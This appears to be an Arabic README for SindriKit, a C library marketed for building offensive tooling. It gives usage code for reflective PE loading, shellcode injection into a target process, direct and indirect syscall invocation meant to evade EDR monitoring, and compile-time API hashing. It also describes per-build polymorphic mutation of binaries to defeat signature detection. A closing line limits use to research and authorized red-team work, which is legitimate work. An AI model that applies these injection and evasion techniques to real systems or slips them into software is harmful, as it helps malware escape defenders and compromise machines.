
مكتبة C أساسية لبناء قدرات هجومية موثوقة تشغيليًا
التطوير الهجومي يستحق بنية أفضل.
مكتبة C لبناء قدرات هجومية.
تشفّر معظم الأدوات الهجومية آليات التنفيذ داخل منطق التقنية نفسها. لا يكتفي المُحمِّل الانعكاسي بتعيين صورة ذاكرة؛ بل يعيّنها باستخدام سلسلة محددة ومشفّرة من استدعاءات VirtualAlloc أو NTAPI الأصلية. عندما يبدأ EDR بمراقبة تلك السلسلة المحددة، تُجبر على إعادة كتابة الأداة بالكامل.
يحل SindriKit هذه المشكلة عبر فرض فصل الاهتمامات باستخدام جداول تجريد الواجهات:
بنقل آليات التنفيذ إلى مؤشرات دوال وقت التشغيل، يمكنك تبديل استراتيجيتك بالكامل من استدعاءات Win32 إلى استدعاءات نظام مباشرة خام بسطر واحد من التعليمات البرمجية — دون تغيير منطق تنفيذ حمولتك.
snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) مع سلسلة أولويات — بدّل الاستراتيجيات أو وسّعها دون لمس كود النطاق.SND_MORPH. يولّد توقيعات ثنائية فريدة في كل بناء بحقن مسندات معتمة متقلبة في كود C، وعمليات حسابية/أوامر NOP مكافئة وظيفيًا في تجميعات Assembly، وتشويش التخطيط الذاكري للبنى الأساسية.cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
سطران فقط ليرث أداتك كل قدرات SindriKit: تحليل PE، وحل استدعاءات النظام، والتحميل الانعكاسي...
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ future tables ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
عمليًا، هذا يعني أن كل نطاق يتبع نفس العقد:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
يتعامل SindriKit مع حل استدعاءات النظام كآلية قابلة للحقن، مكدسًا الاستراتيجيات بترتيب الأولوية. يمر المحرك عبر الاستراتيجيات حتى تنجح إحداها:
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
المستدعي مفصول عن حل SSN — بدّل بين استدعاءات النظام المباشرة وغير المباشرة دون تعديل كود النطاق. يقفز الاستدعاء غير المباشر إلى أداة NTDLL شرعية، مما يُبقي عنوان عودة استدعاء النظام داخل ntdll.dll.
تُزال جميع أسماء API وسلاسل الوحدات من الثنائي النهائي وقت الترجمة عبر متغير CMake واحد:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
تُحسب كل تجزئة ببذرة مولّدة عشوائيًا (عند تفعيل SND_RANDOMIZE_SEED=ON). تتغير البصمة الثابتة تمامًا بين عمليات الترجمة دون لمس سطر واحد من C.
جسر تجميع MASM مخصص لاستدعاء دوال عشوائية وقت التشغيل. تتبع بنيات x64 اصطلاح استدعاء Microsoft x64 بدقة (مساحة الظل، ومواضع وسائط السجلات، ومحاذاة المكدس). بينما تدفع بنيات x86 الوسائط بترتيب عكسي مع دعم أهداف cdecl وstdcall.
محلل PE32/PE32+ موحد مع علامة is_mapped تتعامل بشكل صحيح مع كل من الصور الأولية على القرص والعروض المعيّنة في الذاكرة. يُتحقق من كل وصول إلى دليل بيانات مقابل حدود المخزن المؤقت المتعقبة قبل إلغاء الإشارة. ويدعم حل التصدير سلاسل إعادة التوجيه حتى عمق 4 مع بحث قائم على التجزئة.
اختُبر ضد:
pe_mutator: أسماء أقسام مُصفَّرة، وتجاوزات أعداد صحيحة، وحدود e_lfanew غير صالحة، واستيرادات مشوّهة.تُدار كل عملية هجومية عبر بنية سياق منفصلة مع تعداد مراحل. يمكن إيقاف العمليات بين المراحل لتعتيم النوم أو النشر المرحلي، واستئنافها بشكل نظيف، وفحصها لتحديد نقطة الفشل الدقيقة وصولًا إلى النظام الفرعي والسبب.
قم بتهيئة خط استدعاءات النظام مرة واحدة (النمط النموذجي):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
المستدعي مفصول عن حل SSN — بدّل بين استدعاءات النظام المباشرة وغير المباشرة دون تعديل كود النطاق. يقفز الاستدعاء غير المباشر إلى أداة NTDLL شرعية، مما يُبقي عنوان عودة استدعاء النظام داخل ntdll.dll.
بدّل ملف التنفيذ بتعيين واحد:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
يتبع حل الوحدات نفس النمط (snd_mod_win مقابل snd_mod_nt). لا توجد خلفية وحدات مدعومة باستدعاءات النظام — تستخدم الاستيرادات PEB walk + EAT حتى في ملفات _sys الكاملة.
SND_ENABLE_DEBUG=ONللتطوير المحلي. تتوسع snd_status_t لتشمل file وline ومخزن سلاسل سياقي بحجم 128 بايت. تصدر SND_ERR_CTX وSND_DEBUG_PRINT انتقالات آلة الحالة، وقيم حقول PE المُحلَّلة، ونتائج حل استدعاءات النظام. استخدم SND_USE_PRINTF=ON لتوجيه المخرجات إلى stdout بدلًا من وحدة التحكم في التصحيح.
SND_ENABLE_DEBUG=OFFالتكوين القياسي للنشر للثنائيات التشغيلية. تُحذف كل سلسلة تشخيصية ومرجع ملف ورقم سطر تمامًا وقت الترجمة. تنهار snd_status_t إلى عددين صحيحين فقط. لا شيء غير ذلك.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
مرجع كامل تحت docs/:
loader_winapi, loader_nowinapi, inject_pe, inject_shell, heavens_gateمخطط: نطاق المراوغة.
صُمم SindriKit للأغراض التعليمية والبحثية وعمليات الفريق الأحمر المصرح بها فقط. للحصول على إخلاء المسؤولية القانوني الكامل ومعلومات حول اعتبارات OpSec، راجع سياسة الأمان.